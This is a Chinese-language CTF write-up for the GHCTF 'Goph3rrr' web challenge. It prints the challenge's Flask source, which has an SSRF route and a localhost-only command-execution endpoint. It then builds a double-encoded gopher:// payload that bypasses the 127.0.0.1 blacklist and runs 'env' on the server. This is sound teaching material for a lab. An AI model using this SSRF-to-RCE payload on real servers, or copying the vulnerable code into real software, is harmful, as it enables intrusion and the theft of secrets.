ctf-web: Gopher伪协议利用 -- GHCTF Goph3rrr
step 1 目录泄露
/app.py
step 2 分析代码
整理得到
from flask import Flask, request, send_file, render_template_string
import os
from urllib.parse import urlparse, urlunparse
import subprocess
import socket
import hashlib
import base64
import random
app = Flask(__name__)
BlackList = [
"127.0.0.1"
]
@app.route('/Login', methods=['GET', 'POST'])
def login():
junk_code()
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users and users[username]['password'] == hashlib.md5(password.encode()).hexdigest():
return b64e(f"Welcome back, {username}!")
return b64e("Invalid credentials!")
return render_template_string("""
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Login</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> <style> body { background-color: #f8f9fa; } .container { max-width: 400px; margin-top: 100px; } .card { border: none; border-radius: 10px; box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); } .card-header { background-color: #007bff; color: white; text-align: center; border-radius: 10px 10px 0 0; } .btn-primary { background-color: #007bff; border: none; } .btn-primary:hover { background-color: #0056b3; } </style> </head> <body> <div class="container"> <div class="card"> <div class="card-header"> <h3>Login</h3> </div> <div class="card-body"> <form method="POST"> <div class="mb-3"> <label for="username" class="form-label">Username</label> <input type="text" class="form-control" id="username" name="username" required> </div> <div class="mb-3"> <label for="password" class="form-label">Password</label> <input type="password" class="form-control" id="password" name="password" required> </div> <button type="submit" class="btn btn-primary w-100">Login</button> </form> </div> </div> </div> </body> </html> """)
@app.route('/Gopher')
def visit():
url = request.args.get('url')
if url is None:
return "No url provided :)"
url = urlparse(url)
realIpAddress = socket.gethostbyname(url.hostname)
if url.scheme == "file" or realIpAddress in BlackList:
return "No (≧∇≦)"
result = subprocess.run(["curl", "-L", urlunparse(url)], capture_output=True, text=True)
return result.stdout
@app.route('/RRegister', methods=['GET', 'POST'])
def register():
junk_code()
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users:
return b64e("Username already exists!")
users[username] = {'password': hashlib.md5(password.encode()).hexdigest()}
return b64e("Registration successful!")
return render_template_string(""" xxx """)
@app.route('/Manage', methods=['POST'])
def cmd():
if request.remote_addr != "127.0.0.1":
return "Forbidden!!!"
if request.method == "GET":
return "Allowed!!!"
if request.method == "POST":
return os.popen(request.form.get("cmd")).read()
@app.route('/Upload', methods=['GET', 'POST'])
def upload_avatar():
junk_code()
if request.method == 'POST':
username = request.form.get('username')
if username not in users:
return b64e("User not found!")
file = request.files.get('avatar')
if file:
file.save(os.path.join(avatar_dir, f"{username}.png"))
return b64e("Avatar uploaded successfully!")
return b64e("No file uploaded!")
return render_template_string(""" xxx """)
@app.route('/app.py')
def download_source():
return send_file(__file__, as_attachment=True)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
命令执行路由必须由本地访问
@app.route('/Manage', methods=['POST'])
def cmd():
if request.remote_addr != "127.0.0.1":
return "Forbidden!!!"
if request.method == "GET":
return "Allowed!!!"
if request.method == "POST":
return os.popen(request.form.get("cmd")).read()
我们需要利用SSRF,请求/Manage
路由,但是http://协议并不能携带POST参数,我们需要构造gopher请求
step 3 构造gopher请求
什么是Gopher协议?
Gopher是一种面向文档的分布式信息检索协议,诞生于1991年,比万维网(WWW)出现还早。它曾经用于在互联网中以层级目录的形式组织和访问文档。Gopher协议的URL以
gopher://
开头,使用简单的请求-响应模式。然而,由于HTTP协议的兴起,Gopher协议逐渐被淘汰。
Gopher协议基本格式
Gopher URL的标准结构如下:
gopher://<host>:<port>/<gopher-path>
<host>
: 目标服务器IP或域名<port>
: 目标服务端口(默认70)<gopher-path>
: 协议路径(包含请求数据编码)
关键语法规则
1. 请求数据编码
Gopher协议的 <gopher-path>
部分会被 原样转换为原始TCP数据流 发送给目标服务器,需按以下规则编写:
- 换行符:必须使用
\r\n
(即URL编码为%0D%0A
) - 特殊字符:需进行URL编码(如空格→
%20
,问号→%3F
) - 首字符:第一个字符表示资源类型(可忽略,通常用
_
或1
占位)
2. 数据流格式
构造的Gopher请求本质是发送原始TCP数据流。
_POST /Manage HTTP/1.1
host:127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:7
cmd=env
因为接受参数的时候就会解一次,编码一次到gopher://调用的时候就不是编码的了,所以必须url编码两次
_POST%2520/Manage%2520HTTP/1.1%250D%250Ahost:127.0.0.1%250D%250AContent-Type:application/x-www-form-urlencoded%250D%250AContent-Length:7%250D%250A%250D%250Acmd=env
加上gopher://127.0.0.2:8000/
gopher://127.0.0.2:8000/_POST%2520/Manage%2520HTTP/1.1%250D%250Ahost:127.0.0.1%250D%250AContent-Type:application/x-www-form-urlencoded%250D%250AContent-Length:7%250D%250A%250D%250Acmd=env